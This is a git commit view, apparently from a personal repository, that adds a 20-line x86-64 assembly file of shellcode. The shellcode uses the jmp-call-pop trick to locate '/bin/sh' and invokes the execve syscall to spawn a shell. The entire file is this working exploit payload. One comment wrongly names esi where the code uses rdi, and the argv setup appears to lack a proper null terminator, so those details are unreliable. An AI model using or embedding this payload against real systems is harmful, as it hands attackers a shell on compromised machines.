aboutsummaryrefslogtreecommitdiff
path: root/shellcode/execve_x64.asm
diff options
context:
space:
mode:
Diffstat (limited to 'shellcode/execve_x64.asm')
-rw-r--r--shellcode/execve_x64.asm20
1 files changed, 20 insertions, 0 deletions
diff --git a/shellcode/execve_x64.asm b/shellcode/execve_x64.asm
new file mode 100644
index 0000000..6048796
--- /dev/null
+++ b/shellcode/execve_x64.asm
@@ -0,0 +1,20 @@
+BITS 64
+
+
+; do the 'string trick'
+jmp short string
+
+code:
+xor rax,rax
+pop rdi ; pop the addr of the string intro esi (stack pointer register)
+mov byte [rdi + 7], al ; null-terminate the string
+push rdi
+mov rsi,rsp
+push rax
+mov rdx,rsp
+mov byte al,59 ; execv
+syscall
+
+string:
+call code
+db '/bin/sh' , 0xFF